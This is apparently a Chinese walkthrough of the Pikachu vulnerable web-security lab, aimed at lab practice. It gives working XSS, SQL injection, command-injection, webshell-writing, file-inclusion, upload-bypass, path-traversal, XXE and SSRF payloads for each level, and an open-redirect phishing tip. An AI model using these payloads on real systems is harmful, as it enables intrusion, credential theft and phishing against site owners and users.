Pikachu 通关攻略
Pikachu 通关攻略— 一网打尽所有漏洞类型Pikachu 是 Web 安全入门必刷的靶场涵盖暴力破解、XSS、CSRF、SQL 注入、RCE、文件包含、文件上传、越权、SSRF 等十几类漏洞。这份通关秘籍把每一关的完整 Payload 和解题思路都整理好了跟着走就能全通。零、Pikachu 安装修改配置编辑inc/config.inc.phpdefine(DBHOST,127.0.0.1);define(DBUSER,root);define(DBPW,root);// 改成你的 MySQL 密码define(DBNAME,pikachu);define(DBPORT,3306);初始化访问http://localhost/pikachu/install.php完成安装。一、暴力破解1.1 基于表单的暴力破解题目http://localhost/pika/vul/burteforce/bf_form.php不知道账号密码用 Burp Suite Intruder 爆破BP 拦截登录请求 → Send to IntruderAttack type:Cluster bombPayload 1: 账号字典admin, test, user…Payload 2: 密码字典123456, admin, password…Start Attack → 找响应长度不同的那条1.2 验证码绕过on server题目http://localhost/pika/vul/burteforce/bf_server.php服务端验证码一直有效不刷新解题方式和 1.1 一样BP 破解时手动输入当前验证码即可。1.3 验证码绕过on client题目http://localhost/pika/vul/burteforce/bf_client.php前端 JS 验证直接忽略。BP 抓包直接发 → 不需要验证码就能爆破。1.4 Token 防爆破题目token 每次请求都会变但服务器会在响应中返回当前有效的 token。BP Intruder 配置Attack type:PitchforkPayload 1: 密码字典Payload 2: 选择Recursive Grep从响应中提取 token线程池设为1token 必须一一对应Start Attack二、XSS跨站脚本攻击2.1 反射型 XSSGET题目http://localhost/pika/vul/xss/xss_reflected_get.php输入框限制长度 → F12 修改maxlength属性scriptalert(1)/script2.2 反射型 XSSPOST题目用admin/123456登录后提交。要求弹出 Cookiescriptalert(document.cookie)/scriptPHP 7.2 版本测试成功5.x 版本可能 httponly。2.3 存储型 XSS题目http://localhost/pika/vul/xss/xss_stored.php在留言框输入后提交每次访问页面都会触发scriptalert(1)/script2.4 DOM 型 XSS题目http://localhost/pika/vul/xss/xss_dom.php输入的数据会带入 href用伪协议javascript:alert(1)2.5 DOM 型 XSS-X题目http://localhost/pika/vul/xss/xss_dom_x.php?textasd#点击一次没反应再点一次触发。Payloadjavascript:alert(1)2.6 XSS 之盲打题目http://localhost/pika/vul/xss/xssblind/xss_blind.php前台输入没效果但管理员后台会看到。属于存储型 XSSscriptalert(1)/script管理员登录admin_login.php→ 触发弹窗。2.7 XSS 之过滤题目http://localhost/pika/vul/xss/xss_01.php过滤了script标签。大小写混写绕过sCRIPTalert(1)/scRiptSCRIPTalert(1)/SCRIPT2.8 XSS 之 htmlspecialchars题目htmlspecialchars()把预定义字符转 HTML 实体。默认配置不会过滤单引号。需要利用单引号闭合 事件触发。2.9 XSS 之 href 输出题目http://localhost/pika/vul/xss/xss_03.phpjavascript:alert(1)2.10 XSS 之 js 输出题目http://localhost/pika/vul/xss/xss_04.php注意前面有个script标签输入会被直接拼入 JS 代码中;alert(1)/script关闭前一个分号结束语句alert 执行/script闭合标签。三、CSRF跨站请求伪造3.1 CSRFGET题目http://localhost/pika/vul/csrf/csrfget/csrf_get_login.phpallen/boy登录 → 修改个人信息 → 复制修改信息的 GET URL → 构造恶意页面诱导受害者点击。3.2 CSRFPOST题目http://localhost/pika/vul/csrf/csrfpost/csrf_post.php由 GET 改成 POST方式一样。用 Burp Suite 生成 CSRF PoC → 保存为 HTML → 诱导点击。3.3 CSRF Token演示「加 Token」怎么防范 CSRF 攻击无实际漏洞利用。四、SQL 注入4.1 数字型注入POST题目http://localhost/pika/vul/sqli/sqli_id.phpid-1orderby2id-1unionselect1,2id-1unionselectdatabase(),version()id-1unionselectgroup_concat(table_name),2frominformation_schema.tableswheretable_schemapikachuid-1unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schemapikachuandtable_nameusersid-1unionselectgroup_concat(username),group_concat(password)fromusers4.2 字符类型注入GET题目http://localhost/pika/vul/sqli/sqli_str.php和 4.1 一样只是参数带引号闭合。4.3 搜索型注入题目http://localhost/pika/vul/sqli/sqli_search.php?name1 order by 2 --submit查询 ?name1unionselectdatabase(),version()--submit查询?name1 union select group_concat(table_name),2 from information_schema.tables where table_schemapikachu --submit查询 ?name1unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schemapikachuandtable_nameusers--submit查询?name1unionselectgroup_concat(username),group_concat(password)fromusers--submit查询4.4 xx 型注入题目http://localhost/pika/vul/sqli/sqli_x.php随便输入发现报错中有)→ 参数被括号包裹。用)闭合?name1) order by 3 --submit查询 ?name1)unionselect1,database(),version()--submit查询?name1) union select group_concat(table_name),2,3 from information_schema.tables where table_schemapikachu --submit查询 ?name1)unionselectgroup_concat(column_name),2,3frominformation_schema.columnswheretable_schemapikachuandtable_nameusers--submit查询?name1)unionselectgroup_concat(username),group_concat(password),3fromusers--submit查询4.5 insert/update 注入题目http://localhost/pika/vul/sqli/sqli_iu/sqli_reg.php注册成功但无回显 →报错注入 and extractvalue(1,concat(0x7e,(database()))) and 11 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemapikachu))) and 11 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemapikachu and table_nameusers))) and 11 and extractvalue(1,concat(0x7e,(select concat(username,-,password) from users limit 0,1))) and 114.6 delete 注入题目http://localhost/pika/vul/sqli/sqli_del.php和 4.5 一样用报错注入GET 方式提交?id1andextractvalue(1,concat(0x7e,(database())))?id1andextractvalue(1,concat(0x7e,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemapikachu)))?id1andextractvalue(1,concat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemapikachuandtable_nameusers)))?id1andextractvalue(1,concat(0x7e,(selectconcat(username,-,password)fromuserslimit0,1)))4.7 HTTP Header 注入题目http://localhost/pika/vul/sqli/sqli_header/sqli_header.php和 insert 注入一样报错注入即可。4.8 Boolean 盲注题目http://localhost/pika/vul/sqli/sqli_blind_b.php虽然叫盲注但也可以用 union 直接拿。真正的布尔盲注解法# 判断数据库名长度?namelucy and length(database())10 --submit查询 ?namelucyandlength(database())7--submit查询# 逐字猜数据库名 → pikachu?namelucy and ascii(substr(database(),1,1))112 --submit查询 # p ?namelucyandascii(substr(database(),2,1))105--submit查询 # i?namelucy and ascii(substr(database(),3,1))107 --submit查询 # k ?namelucyandascii(substr(database(),4,1))97--submit查询 # a?namelucy and ascii(substr(database(),5,1))99 --submit查询 # c ?namelucyandascii(substr(database(),6,1))104--submit查询 # h?namelucyandascii(substr(database(),7,1))117--submit查询 # u4.9 延时盲注题目http://localhost/pika/vul/sqli/sqli_blind_t.php# 判断长度 → 睡了 正确?namelucy and if(length(database())10,sleep(5),1) --submit查询 ?namelucyandif(length(database())7,sleep(5),1)--submit查询# 逐字猜 → pikachu?namelucyandif(ascii(substr(database(),1,1))112,sleep(5),1)--submit查询 # pSQLMap 一把梭sqlmap-uhttp://192.168.244.1/pika/vul/sqli/sqli_blind_t.php?name1submit查询-pname --current-db4.10 宽字节注入背景PHP 用addslashes()把转义为\即%5c%27。但如果数据库编码为GBK%df%5c恰好组成一个汉字「運」把转义符\吃掉了单引号逃逸成功。name1%df union select version(),database() --submit查询 name1%dfunionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()--submit查询name1%df union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273 --submit查询 name1%dfunionselectgroup_concat(username),group_concat(password)frompikachu.users--submit查询%df是 GBK 编码范围内的字节与%5c\组成双字节汉字导致\失效。五、RCE远程代码/命令执行5.1 exec “ping”题目http://localhost/pika/vul/rce/rce_ping.php127.0.0.1|whoami5.2 exec “eval”题目http://localhost/pika/vul/rce/rce_eval.phpechohello;phpinfo();fputs(fopen(shell.php,w),?php assert($_POST[123]);?);写入shell.php→ 蚁剑连接密码123。六、文件包含6.1 本地文件包含题目http://localhost/pika/vul/fileinclude/fi_local.php?filenamefile6.phpsubmit提交6.2 远程文件包含题目http://localhost/pika/vul/fileinclude/fi_remote.php先在 WWW 根目录放好webshell.txt?phpfputs(fopen(shell.php,w),?php eval($_POST[123]);?);?访问?filenamehttp://127.0.0.1/webshell.txtsubmit提交伪协议读源码?filenamephp://filter/readconvert.base64-encode/resourcefi_remote.phpsubmit提交七、文件下载题目http://localhost/pika/vul/unsafedownload/down_nba.php下载地址vul/unsafedownload/execdownload.php?filenamesmallane.png路径遍历读取配置文件http://localhost/pika/vul/unsafedownload/execdownload.php?filename../../../inc/config.inc.php八、文件上传8.1 客户端检查题目http://localhost/pika/vul/unsafeupload/clientcheck.php前端 JS 验证 → 改后缀为.jpg上传 → BP 拦截改回.php。?phpphpinfo();?8.2 服务端检查题目http://localhost/pika/vul/unsafeupload/servercheck.php和 8.1 一样但注意需要同时改Content-Type为image/jpeg。8.3 getimagesize()题目http://localhost/pika/vul/unsafeupload/getimagesize.php制作图片马copy info.png /b info.php /a webshell.png上传后配合文件包含触发http://localhost/pika/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/12/05/xxxxxx.pngsubmit提交九、越权漏洞9.1 水平越权题目kobe/123456 登录 → 改 URL 中usernamekobe为usernamelilihttp://localhost/pika/vul/overpermission/op1/op1_mem.php?usernamelilisubmit点击查看个人信息看到 lili 的个人信息9.2 垂直越权题目pikachu/000000 普通用户登录 → 直接访问管理员页面http://localhost/pika/vul/overpermission/op2/op2_admin_edit.php新增用户成功原因op2_admin_edit.php没有权限判断。十、目录遍历题目http://localhost/pika/vul/dir/dir_list.php本质是文件包含 目录遍历http://localhost/pika/vul/dir/dir_list.php?title../../unsafeupload/uploads/info.php十一、敏感信息泄露题目http://localhost/pika/vul/infoleak/findabc.php查看页面源码 → 找隐藏信息。十二、PHP 反序列化题目http://localhost/pika/vul/unserilization/unser.php?phpclassS{var$testscriptalert(xss)/script;}$snewS();echoserialize($s);// 输出O:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;}?十三、XXE题目http://localhost/pika/vul/xxe/xxe_1.php准备1.txt内容随意构造 XXE Payload?xml version 1.0?!DOCTYPEANY[!ENTITY xxe SYSTEM file:///C://Users//86188//Desktop//tool//1.txt]fooxxe;/foo十四、URL 重定向题目http://localhost/pika/vul/urlredirect/urlredirect.phphttp://localhost/pika/vul/urlredirect/urlredirect.php?urlhttp://baidu.com配合短链接https://tool.chinaz.com/tools/dwz.aspx实现钓鱼。十五、SSRF13.1 SSRFcurl题目http://localhost/pika/vul/ssrf/ssrf_curl.php读取文件http://localhost/pika/vul/ssrf/ssrf_curl.php?urlfile:///C://Users//86188//Desktop//tool//1.txt端口探测http://localhost/pika/vul/ssrf/ssrf_curl.php?urldict://127.0.0.1:330613.2 SSRFfile_get_content题目http://localhost/pika/vul/ssrf/ssrf_fgc.php读取文件http://localhost/pika/vul/ssrf/ssrf_fgc.php?filefile:///C://Users//86188//Desktop//tool//1.txt伪协议读源码http://localhost/pika/vul/ssrf/ssrf_fgc.php?filephp://filter/readconvert.base64-encode/resourcessrf_fgc.php全关卡通关联照表分类关卡数核心 Payload 关键词暴力破解4 关Cluster bomb / Recursive Grep / TokenXSS10 关script/javascript:/ 大小写 / 闭合CSRF3 关PoC 生成 / GET 改 POSTSQL 注入10 关union / extractvalue / sleep / %df 宽字节RCE2 关| whoami/ eval fputs 写马文件包含2 关php://filter/ 远程 http 包含文件下载1 关../../../路径遍历文件上传3 关后缀绕过 / Content-Type / 图片马越权2 关改 URL 参数 / 直接访问未授权页面目录遍历1 关../../敏感信息1 关源码查看反序列化1 关serialize / unserializeXXE1 关!ENTITY xxe SYSTEM file:///...URL 重定向1 关?url参数SSRF2 关file:///dict:///php://filter写在最后Pikachu 靶场覆盖了 Web 安全中几乎所有的经典漏洞类型。这份通关攻略不仅能帮你刷完全关还能作为日常写 Payload 时的速查手册。通关不是终点把每种漏洞的原理吃透才是目的。

相关新闻

《热江绿色版》官方下载域名:8月最新下载指南,褪去氪金浮华,这片原生态江湖才是老玩家心中归宿

《热江绿色版》官方下载域名:8月最新下载指南,褪去氪金浮华,这片原生态江湖才是老玩家心中归宿

不知从何时起,我们记忆里纯粹的武侠江湖彻底变了味道。打开各类复古武侠版本,满屏充值弹窗、VIP 等级划分、商城直售毕业神装已成常态。氪金大佬一键拉满全套顶配装备,普通玩家埋头刷怪数十天,产出的材料、装备在失衡物价里一文不…

2026/10/11 18:09:31 阅读更多 →
SQL高效学习法:两天攻克牛客网50题,掌握核心语法与实战技巧

SQL高效学习法:两天攻克牛客网50题,掌握核心语法与实战技巧

1. 项目缘起与价值:为什么是“两天50题”? 最近在技术社区和求职群里,看到不少朋友在讨论SQL面试,尤其是牛客网上的那套经典SQL必知必会练习题。这套题被很多人奉为“面试前必刷”的宝典,但动辄几十上百道的题量&#…

2026/10/13 0:05:13 阅读更多 →
二项分布在进料检验中的高效应用

二项分布在进料检验中的高效应用

1. 项目概述:当概率论遇上进料检验在制造业的质量控制环节,进料检验(IQC)是确保原材料合格的第一道防线。但很少有人意识到,这个看似简单的"合格/不合格"判定过程,实际上完美诠释了概率论中的二项分布原理。我在电子元器…

2026/10/1 3:28:17 阅读更多 →

最新新闻

昆明理工大学MBA复试真题详解:题型拆解与高效备考策略

昆明理工大学MBA复试真题详解:题型拆解与高效备考策略

26考研的时间点其实很微妙。初试刚结束那阵子,大多数人都在放松,觉得笔试考完就算过了大半关。但真正走过完整流程的人都知道,复试才是淘汰率最集中的环节,尤其对于昆明理工大学MBA这类报考热度一直不低的项目来说,复试…

2026/10/13 11:41:16 阅读更多 →
MATLAB热交换器求解器:构建传热-流体-物性全耦合计算闭环

MATLAB热交换器求解器:构建传热-流体-物性全耦合计算闭环

简介:本资源是一个基于MATLAB开发的换热器性能仿真计算工具包,面向能源动力、化工过程及热能工程领域的本科生、研究生与初级工程师,用于快速实现ε-NTU法建模与工况分析。工具包共4个文件,含3个核心MATLAB函数(effect…

2026/10/13 11:41:16 阅读更多 →
Spark+Scala实战:TMDB电影数据清洗与聚合分析全流程

Spark+Scala实战:TMDB电影数据清洗与聚合分析全流程

前阵子一直在补 Spark 的实操,想找个有一定规模、字段又足够丰富的公开数据集练手,翻了很多方向,最后锁定了 TMDB 电影数据。这个数据源在影视分析里很常见,里面有电影评分、票房、制作预算、类型、演员、关键词等一堆信息&#x…

2026/10/13 11:41:16 阅读更多 →
Agent技能设计指南:从单体提示词到高可靠技能库的落地实践

Agent技能设计指南:从单体提示词到高可靠技能库的落地实践

先别急着给Agent写代码,如果你正打算磕“agent-skills”,我强烈建议你先停下来,把几个关键思路理清。这个概念的圈内热度已经持续了不短的时间,很多人把它理解为“给Agent塞几十个工具函数就完事”,但真正做落地的时候…

2026/10/13 11:41:16 阅读更多 →
C++单元测试框架gtest实战:从断言机制到CI集成的完整指南

C++单元测试框架gtest实战:从断言机制到CI集成的完整指南

1. 初识gtest:为什么C开发者都绕不开这个测试框架写了十多年C,我见过太多项目在测试这件事上翻车。早期大家靠assert加打印日志,后来有人写个main函数手动调一遍所有接口,再后来CI流水线跑起来,才发现没有像样的单元测…

2026/10/13 11:41:16 阅读更多 →
【机器人控制】三台非全体移动机器人分散式领跟控制、基于李雅普诺夫的轨迹跟踪以及三角与柱形动态切换编队控制Matlab实现

【机器人控制】三台非全体移动机器人分散式领跟控制、基于李雅普诺夫的轨迹跟踪以及三角与柱形动态切换编队控制Matlab实现

✅作者简介:热爱科研的Matlab仿真开发者,擅长数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和数学建模资料 &…

2026/10/13 11:40:13 阅读更多 →

日新闻

物联网系统集成避坑指南:从选型到验收的关键要点

物联网系统集成避坑指南:从选型到验收的关键要点

做了这么多年物联网系统集成的项目,我最大的感受是,大部分坑不是出在技术前沿,而是出在一些看起来很平常的地方。设备选了便宜的、协议没问清楚、现场没摸透、验收标准写得含糊——这些细枝末节,最后都会变成延期、超支和扯皮的大…

2026/10/13 0:00:57 阅读更多 →
ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

如果你玩ESP32有一阵子了,很难不碰到舵机控制这道坎。做智能小车要转方向,做机械臂要抬关节,做云台要偏航俯仰,背后都是同一个东西在干活:舵机。而我见过太多人卡在“代码能编译、舵机就是不听话”这个阶段&#xff0c…

2026/10/13 0:00:57 阅读更多 →
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

1. 为什么CAN总线至今仍是工业现场的“硬通货”?——从汽车底盘到智能温室的真实需求你有没有拆过一辆老款燃油车的中控台?或者调试过某高校实验室里那台跑着Modbus协议却频频丢帧的PLC控制柜?又或者,在某个农业物联网项目里&…

2026/10/13 0:00:57 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 21:05:09 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 14:48:49 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →